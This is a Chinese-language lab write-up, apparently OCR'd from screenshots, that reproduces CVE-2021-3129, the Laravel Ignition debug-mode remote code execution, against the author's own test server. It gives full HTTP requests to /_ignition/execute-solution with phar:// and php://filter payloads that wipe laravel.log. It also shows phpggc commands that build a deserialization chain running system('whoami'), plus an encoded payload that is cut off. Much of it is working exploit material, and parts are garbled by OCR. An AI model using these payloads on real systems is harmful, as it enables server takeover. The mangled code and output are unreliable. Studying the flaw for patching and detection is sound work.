```
2021年7月2日 11:07
```

# CVE-2021-3129--Laravel Debug mode RCE

```
0x01 环境搭建
可以直接使用vulhub的镜像环境,也可以使用这位师傅的环境:https://github.com/SNCKER/CVE-2021-3129
这个地方为了能够看到更清晰的效果,我选了手动搭建环境,需要php环境,没有的话先安装
访问: https://github.com/laravel/laravel
                                                                                                        # 下载对应版本的laravel源码, 我这里是8.4.1版本
$ cd laravel
$ composer install
                                                                #安装依赖,找不到命令,先安装composer
$ composer require facade/ignition==2.5.1 # 下载安装存在漏洞版本的组件
$ php artisan serve --host=0.0.0.0 # 启动服务器,访问发现只出现500错误,是因为debug模式未开启
打开配置文件 laravel/config/app.php, 找到 'debug'项设置为true (开启debug模式):
gedit app.php
    打开(0) ▼ ●
           when your application is in debug mode, detailed error messages with
         stack traces will be shown on every error that occurs within your
          application. If disabled, a simple generic error page is shown
                  ⇒ (bool) env('APP_DEBUG', true),
         Application URL
         This URL is used by the console to properly generate URLs when using
         the Artisan command line tool. You should set this to the root of
          your application so that it is used when running Artisan tasks.
此时访问http://your-ip:8000/, 会抛出以下运行异常: No application encryption key has been specified. (未指定应用程序的APP_KEY加密密钥) :
                             Illuminate\Encryption\MissingAppKeyException
                             No application encryption key has been specified.
                             Your app key is missing
                             Generate your application encryption key using php artisan key: generate
                                 Generate app key
                             READ MORE Laravel installa
点击 "Generate app key" 按钮后会发送一个请求(这个请求很重要, 后期构造payload, 就是根据该请求构造的):
                                                                                                                                                                 HTTP/1.1 500 Internal Server Error
POST / ignition/execute-solution HTTP/1.1
Host: 192.168.30.169:8000
                                                                                                                                                                  Host: 192.168.30.169:8000
Host: 192.168.30.169:8000

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate
Content-Type application/json
origin: http://192.168.30.169:8000

Referer: http://192.168.30.169:8000/
Content-Language: zh-CO,zh zh-Zh 
                                                                                                                                                                 Date: Tue, 06 Jul 2021 08:23:24 GMT
Connection: close
X-Powered-By: PHP/7.3.27-1~deb10u1
                                                                                                                                                                 Cache-Control: no-cache, private
Date: Tue, 06 Jul 2021 08:23:24 GMT
Content-Type: application/json
Content-Length: 82
                                                                                                                                                                     "message". "file_get_contents//root/test/laravel/.env): failed to open stream: No such file or directory", 
"exception". "ErrorException",
```

"trace": [

"type": "

"function": "handleError"

"/root/test/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Console/KeyGenerateCommand.

"class": "Illuminate\\Foundation\\Bootstrap\\HandleExceptions",

```
缺少".env"文件,进入laravel根目录,将根目录里的".env.example"重命名".env",此处有坑,记得用ls -a命令:
```

```
root@tools:~/test/laravel# ls -a
. artisan composer.lock ditorconfig .gitignore public routes .styleci.yml webpack.mix.js
. bootstrap config .env.example package.json README.md server.php tests
app composer.json database .gitattributes phpunit.xml resources storage vendor
```

复制一下: cp .env.example .env

{"solution":"Facade\\lgnition\\Solutions\\GenerateAppKeySolution","parameters":[]}

```
root@tools:~/test/laravel# cp .env.example .env
root@tools:~/test/laravel# ls -a
         artisan
                                    composer.lock .editorconfig .gitattributes phpunit.xml resources storage
        bootstrap
                                     config
                                                                                               .gitignore
                                                                                                                            public
                                                                                                                                                    routes
                                                                                                                                                                           .styleci.yml webpack.mix.js
                                                                 .env
app composer.json database
                                                                                                                            README.md
                                                                 .env.example package.json
                                                                                                                                                    server.php tests
再次发送请求, 文件存在, 请求成功
POST / ignition/execute-solution HTTP/1.1
Host: 192.168.30.169:8000
                                                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                                                             Host: 192.168.30.169:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
                                                                                                                                                                                                             Date: Tue, 06 Jul 2021 08:29:55 GMT
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                             X-Powered-By: PHP/7.3.27-1~deb10u1
Accept-Encoding: gzip, deflate
Content-Type: application/json
origin: http://192.168.30.169:8000
                                                                                                                                                                                                            Cache-Control: no-cache, private
Date: Tue, 06 Jul 2021 08:29:55 GMT
                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
Referer: http://192.168.30.169:8000/
Content-Length: 82
DNT: 1
Connection: close
\label{lem:condition} \label{lem:condition
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.30.169:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 82
DNT: 1
Connection: close
{
            "solution": "Facade \\ Ignition \\ Solutions \\ GenerateAppKeySolution",
            "parameters":
            {
                          'viewFile":"aaa"
                         "variableName": "bbb"
           }
}
.env文件中也生成了一个key,可以对比.env.example, .env.example文件是没有APP_KEY的
 root@tools:~/test/laravel# cat .env
 APP NAME=Laravel
APP_ENV=local
APP_KEY=base64:DjlF4X9+LrCgtLyyYtLm0fTfi6Dp9rB57dRojyiAF6w=
APP DEBUG=true
APP_URL=http://localhost
 LOG CHANNEL=stack
 LOG_LEVEL=debug
至此环境安装完成
```

#### 0X02 漏洞分析

本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中的参数过滤不严谨导致的。

首先到执行solution的控制器ExecuteSolutionController.php里面中去看看是如何调用solution的:

```
vendor\facade\ignition\src\Http\Controllers\ExecuteSolutionController.php

ass ExecuteSolutionController
  use ValidatesRequests;
  public function _
                        _invoke(
       ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
       $solution = $request->getRunnableSolution();
       $solution->run($request->get('parameters', []));
        return response('');
```

定位getRunnableSolution()函数,在vendor\facade\ignition\src\Http\Requests\ExecuteSolutionRequest.php文件中

先通过getRunnableSolution()方法获取到相应的solution名,然后调用solution对象中的run()方法,并将获取的可控的parameters参数传过去。solution对象也是可控的,上面的数据包中传递的就是solution对象的值,那令solution=MakeViewVariableOptionalSolution,就可以调用其中的run()方法跟进MakeViewVariableOptionalSolution中的run()方法:

从\$parameters['viewFile']文件里将字符串读到\$originalContents中,然后将\$originalContents中'\$'.\$parameters['variableName']变量替换为'\$'.\$parameters['variableName']??; 然后传回给run()方法里的\$output, 然后file\_put\_contents()写入\$parameters['viewFile']文件 简单理解: 从\$parameters['viewFile']文件取出字符--->替换一下里面的\$parameters['variableName']---->再写入\$parameters['viewFile']文件 这里要记住file\_get\_contents()函数和file\_put\_contents()函数,后面的步骤看到这两个函数就很好理解了。

```
尝试一下:
POST / ignition/execute-solution HTTP/1.1
Host: 192.168.30.169:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept: application/json
Content-Type: application/json
Content-Length: 152
DNT: 1
Connection: close
{
      "solution": "Facade \verb|\Ignition|\Solutions|| Make View Variable Optional Solution",
      "parameters": {
    "viewFile": "aaa"
            "variableName": "bbb"
      }
POST /_ignition/execute-solution HTTP/1.1
                                                                                         HTTP/1.1 500 Internal Server Error
Host: 192.168.30.169:8000
                                                                                         Host: 192.168.30.169:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
                                                                                          Date: Wed, 07 Jul 2021 06:45:30 GMT
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
                                                                                         Connection: close
Accept-Encoding: gzip, deflate
Accept: application/json
                                                                                         X-Powered-By: PHP/7.3.27-1~deb10u1
Cache-Control: no-cache, private
Content-Type: application/json
Content-Length: 152
                                                                                         Date: Wed. 07 Jul 2021 06:45:30 GMT
                                                                                          Content-Type: application/jsor
DNT: 1
Connection: close
                                                                                            "message": "file_get_contents(aaa): failed to open stream: No such file or directory", 
"exception": "ErrorException",
                                                                                            "file": "/root/test/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php", "line": 75,
       'solution": "Facade\\lgnition\\Solutions\\MakeViewVariableOptionalSolution",
      "parameters": {
    "viewFile": "aaa",
                                                                                            "trace": [
            "variableName": "bbb
                                                                                                "function": "handleError"
                                                                                                class": "Illuminate\\Foundation\\Bootstrap\\HandleExceptions",
```

#### 自己在laravel目录下创建一个1.txt

```
POST / ignition/execute-solution HTTP/1.1
                                                                                                                   HTTP/1.1 200 OK
Host: 192.168.30.169:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
                                                                                                                   Host: 192.168.30.169:8000
                                                                                                                   Date: Wed, 07 Jul 2021 09:03:55 GMT
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
                                                                                                                   Connection: close
                                                                                                                    X-Powered-By: PHP/7.3.27-1~deb10u1
Accept: application/json
Content-Type: application/json
                                                                                                                   Cache-Control: no-cache, private
Date: Wed, 07 Jul 2021 09:03:55 GMT
Content-Length: 173
                                                                                                                   Content-Type: text/html; charset=UTF-8
Connection: close
        solution": "Facade\\lgnition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {
    "viewFile": "/root/test/laravel/1.txt",
               "variableName": "aaa
```

到这里正确的数据包格式构造完成,这里我试了,写不进去文件,暂时还没想明白原因

### 0X03 利用phar反序列化达到RCE的目的

```
phar反序列化需要关闭phar.readonly选项,即令phar.readonly = Off
```

默认是开启的,所以在实际利用的时候,这个默认配置也是造成攻击不成功的原因

```
root@tools:~/test/laravel# php -r 'phpinfo();'|grep phar
/etc/php/7.3/cli/conf.d/20-phar.ini,
Registered PHP Streams ⇒ https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar, zip
Phar-based phar archives ⇒ enabled
Tar-based phar archives ⇒ enabled
ZIP-based phar archives => enabled
phar.cache list ⇒ no value ⇒ no value
phar.readonly ⇒ On ⇒ On
phar.require_hash ⇒ On ⇒ On
php -i | grep 'php.ini'
gedit php.ini
 oot@tools:~# php -r 'phpinfo();' | grep phar
 /etc/php/7.3/cli/conf.d/20-phar.ini,
Registered PHP Streams => https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar, zip
 Phar-based phar archives => enabled
Tar-based phar archives ⇒ enabled
ZIP-based phar archives => enabled
 phar.cache_list => no value => no value
 har.readonly \Rightarrow Off \Rightarrow Off
 phar.require_hash => On => On
```

#### 利用phpggc生成phar可解析的文件

```
./phpggc Laravel/RCE5 "system('whoami');" --phar phar -o /root/tools/phpggc/phar.png
root@tools:~/tools/phpggc# ./phpggc Laravel/RCE5 "system('whoami');" --phar phar -o /root/tools/phpggc/phar.png
root@tools:~/tools/phpggc# cat phar.png
<?php __HALT_COMPILER(); ?>
&&o:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";0:25:"Illuminate\Bus\Dispatcher":1:{s:16:"*queueResolver";a:2:{i:0;0:
25:"Mockery\Loader\EvalLoader":0:{}i:1;s:4:"load";}}s:8:"*event";0:38:"Illuminate\Broadcasting\BroadcastEvent":1:{s:10:"connection";0:32:
"Mockery\Generator\MockDefinition":2:{s:9:"*config";0:35:"Mockery\Generator\MockConfiguration":1:{s:7:"*name";s:7:"abcdefg";}s:7:"*code
";s:32:"<?php system('whoami'); exit; ?>";}}}dummyBq&

~test.txtBq&

~itesttest&***

GBMBroot@tools:~/tools/phpggc#
```

phar.png文件的格式就是phar文件的格式

#### 接下来利用file\_get\_contents()函数去触发反序列化

```
HTTP/1.1 200 OK
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.30.169:8000
                                                                                                       Host: 192.168.30.169:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
                                                                                                       Date: Wed, 07 Jul 2021 09:18:12 GMT
Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3
                                                                                                       Connection: close
Accept-Encoding: gzip, deflate
                                                                                                       X-Powered-By: PHP/7.3.27-1~deb10u1
Accept: application/json
Content-Type: application/json
                                                                                                       Cache-Control: no-cache, private
Date: Wed, 07 Jul 2021 09:18:12 GMT
Content-Length: 192
                                                                                                       Content-Type: text/html; charset=UTF-8
DNT: 1
Connection: close
       "solution": "Facade\\lgnition\\Solutions\\MakeViewVariableOptionalSolution",
       "parameters": {
              'viewFile": "phar:///root/tools/phpggc/phar.png/test.txt",
              "variableName": "aaa'
```

到这里,利用phar反序列化达到RCE的目的完成

由于这里是自己在服务器上创建了一个phar格式的文件,才利用成功,那接下来就是在服务器找一个本身存在的文件,向里面写入phar文件内容,再利file\_get\_contents()函数去触发反序列化,从而达到RCE的目的

# 0X04 利用laravel.log实现phar反序列化

先找到log文件,看看文件内容长啥样,为啥可以利用

我的环境里log文件路径为:/root/test/laravel/storage/logs/laravel.log

```
[2021-07-07 06:41:58] local.ERROR: file_get_contents(aaa): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0):
file get_contents(aaa): failed to open stream: No such file or directory at /root/test/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/root/test/lara...', 75, Array)
#1 /root/test/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('aaa')
#2 /root/test/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution-
>makeOptional(Array)
#3 /root/test/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewWariableOptionalSolution->run(Array)
#4 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\lgnition\\http\\Controllers\\ExecuteSolutionControllers\
>__invoke(Object(Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest), Object(Facade\\Ignition\\SolutionProviders\\SolutionProviderRepository))
#5 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(254): Illuminate\Routing\ControllerDispatcher->dispatch(Object(Illuminate\Routing\\Route),
Object(Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController), '__invoke')
#6 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(197): Illuminate\Routing\\Route->runController()
#7 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(695): Illuminate\\Routing\\Route->run()
#8 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128): Illuminate\\Routing\\Router->Illuminate\\Routing\\closure}(Object(Illuminate\\Http\
\Request))
#9 /root/test/laravel/vendor/facade/ignition/src/Http/Middleware/IgnitionConfigValueEnabled.php(25): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\ficeline\\Fipeline\\ficeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\filluminate\\Pipeline\\filluminate\\Pipeline\\filluminate\\filluminate\\Pipeline\\filluminate\\filluminate\\Pipeline\\filluminate\\filluminate\filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminate\\Filluminat
(Object(Illuminate\\Http\\Request))
#10 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Pipeline.php(167): Facade\\Ignition\\Http\\Middleware\\IgnitionConfigValueEnabled
>handle(Object(Illuminate\\Http\\Request), Object(Closure), 'enableRunnableS...')
#11 /root/test/laravel/vendor/facade/ignition/src/Http/Middleware/IgnitionEnabled.php(23): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\\{closure}{0bject(Illuminate\Pipeline}
\Http\\Request))
特地找了这么一段贴出来,这个日志文件应该是当post请求_ignition/execute-solution时,如果页面出错,则会将错误日志输出到这个log文件里
我特地清空了日志,尝试了一下,确实是这样,这一点很重要,这个机制不理解,我觉得后面的payload也会理解的模棱两可的。
接下来就是根据原帖子师傅的操作,将log文件的内容格式转化为phar文件格式
1、清空log文件
原文作者在文章中提出的思路是使用php://filter中的各种过滤器的特性来清空,先用convert.iconv.utf-8.utf-16be将utf-8转为utf-16,然后再用
convert.quoted-printable-encode打印所有不可见字符,然后再用convert.iconv.utf-16be.utf-8将utf-16转为utf-8,完成上述操作后laravel.log中所有字符转
为不可见字符,最后使用convert.base64-decode即可清空整个log文件的内容
清空log文件的payload如下
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-
decode/resource=../storage/logs/laravel.log
发送如下请求:
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.30.169:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept: application/json
Content-Type: application/json
Content-Length: 192
DNT: 1
Connection: close
{
       "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
      "parameters": {
               viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8'
             |convert.base64-decode/resource=../storage/logs/laravel.log",
               'variableName": "aaa'
      }
从$parameters['viewFile']文件取出字符--->替换一下里面的$parameters['variableName']---->再写入$parameters['viewFile']文件
file_get_contents()--->str_replace()--->file_put_contents()
file_put_contents('php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8
|convert.base64-decode/resource=../storage/logs/laravel.log','aaa');
执行前:
  oot@tools:~/test/laravel/storage/logs# cat laravel.log
[2021-07-12 01:37:58] local.ERROR: file_get_contents(/root/tools/phpggc/11.txt): failed to open stream: No such file or directory {"exc
ption":"[object] (ErrorException(code: 0): file_get_contents(/root/tools/phpggc/11.txt): failed to open stream: No such file or director
 at /root/test/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#O [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/root/test/lara...'
75. Array)
#1 /root/test/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('/root/tools/php
#2 /root/test/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeV
 wVariableOptionalSolution->makeOptional(Array)
#3 /root/test/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeV
 ewVariableOptionalSolution->run(Array)
#4 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers
\ExecuteSolutionController->__invoke(Object(Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest), Object(Facade\\Ignition\\Solution
 oot@tools:~/test/laravel/storage/logs# cat laravel.log
root@tools:~/test/laravel/storage/logs#
log文件确实被清空了
```

# 2、是向log文件写入合法的phar文件内容

怎么写,这就是之前分析log文件内容那里说的关键点了

当post请求\_ignition/execute-solution时,如果页面出错,则会将错误日志输出到这个log文件里

```
对比一下, 日志和发送的请求:
                                                                                                                                                                                                                                                                                                                                                                                                     HTTP/1.1 500 Internal Server Error
POST / ignition/execute-solution HTTP/1.1
Host: 192.168.30.169:8000
                                                                                                                                                                                                                                                                                                                                                                                                      Host: 192.168.30.169:8000
                                                                                                                                                                                                                                                                                                                                                                                                      Date: Mon, 12 Jul 2021 02:22:21 GMT
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
                                                                                                                                                                                                                                                                                                                                                                                                     Connection: close
Accept-Encoding: gzip, deflate
Accept: application/json
                                                                                                                                                                                                                                                                                                                                                                                                     X-Powered-By: PHP/7.3.27-1~deb10u1
                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache, private
Date: Mon, 12 Jul 2021 02:22:21 GMT
Content-Type: application/json
 Content-Length: 174
                                                                                                                                                                                                                                                                                                                                                                                                     Content-Type: application/json
Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                    "message": "file_get_contents\(\frac{1}{2}\)root/tools/phpggc/11.txt\) failed to open stream: No such file or directory ,
                                                                                                                                                                                                                                                                                                                                                                                                              'exception": "ErrorException"
                    "solution": "Facade \lgnition \label{lgnition was a constraint of the constraint o
                                      "viewFile" "/root/tools/phpggc/11.txt",
"variableName": "aaa"
                     "parameters": {
                                                                                                                                                                                                                                                                                                                                                                                                             "file
                                                                                                                                                                                                                                                                                                                                                                                                      */root/test/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptio
                                                                                                                                                                                                                                                                                                                                                                                                      nalSolution.php"
                                                                                                                                                                                                                                                                                                                                                                                                             "line": 75,
                                                                                                                                                                                                                                                                                                                                                                                                             "trace": [
[2021-07-12 02:22:21] local.ERROR: file_get_contents(\frost/tools/phpggc/11.txt): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(/root/tools/phpggc/11.txt): failed to open stream: No such file or directory at /root/test/laravel/vendor/facade/ignition/src/Solutions/
[stacktrace]
 #0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/root/test/lara...', 75, Array)
#1 /root/test/laravel/vendor/facade/ignition/src/Solutions/NakeViewWariableOptionalSolution.php(75): file_get_contents('/root/tools/php...')
#2 /root/test/laravel/vendor/facade/ignition/src/Solutions/MakeViewWariableOptionalSolution.php(67): Facade\Ignition\\Solutions\\MakeViewWariableOptionalSolution
  >makeOptional(Array)
#3 /root/test/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\lgnition\\Solutions\\MakeViewVariableOptionalSoluti
#4 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController
>_invoke(Object(Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest), Object(Facade\\Ignition\\SolutionProviderS\\SolutionProviderRepository))
#5 /root/test/laravel/vendor/laravel/framework/src/Illuminate\Routing/Route.php(254): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route),
Object(Facade\lgnition\\#ttp\\Controllers\\ExecuteSolutionController), '__invoke')
#6 /root/test/laravel/vendor/laravel/franework/src/Illuminate/Routing/Route.php(197): Illuminate\\Routing\\Route->runController()
#7 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(695): Illuminate\\Routing\\Route->run()
#8 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128): Illuminate\\Routing\\Router->Illuminate\\Routing\\{closure}(Object(Illuminate\\Pittp\
 #9 /root/test/laravel/vendor/facade/ignition/src/Http/Middleware/IgnitionConfigValueEnabled.php(25): Illuminate\\Pipeline\\Pipeline\>Illuminate\\Pipeline->Illuminate\\Pipeline\\ficeline \filluminate\\Pipeline \filluminate
(Object(Illuminate\\Http\\Request))
#10 /root/test/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Facade\\Ignition\\Http\\Middleware\\IgnitionConfigValueEnabled-
    handle(Object(Illuminate\\Http\\Request), Object(Closure), 'enableRunnableS.
#11 /root/test/laravel/vendor/facade/ignition/src/http/Middleware/IgnitionEnabled.php(23): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\fictorus (Illuminate)
parameters['viewFile']的值完整的出现在日志中,而且是两次,这样payload就可以到log文件中
3、整个利用流程
所以这里的利用思路就是,先清空原本的log文件,再利用请求的'viewFile'值不存在页面报错的机制,将payload写入log文件里,
再清掉除payload以外的字符,最后利用phar反序列化执行命令
现在log文件已清空,接下来就是构造payload
这里我也没想出啥其他方法,就直接贴师傅们的payload了
 ./phpggc Laravel/RCE5 "system('whoami');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' +
hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())
rootetools:-/tools/phpggc# ./phpggc Laravel/RCE5 "system('whoami');" --phar phar -c
                                                                                                                                                                                                                                                          -phar phar -o php://output | base64 -w 0 | python -c "import sys
     int(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
   =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42
    00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=3B=00=2B=00=44=00=51=00=6F=00=6B=00=41=00=6T=00=41=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=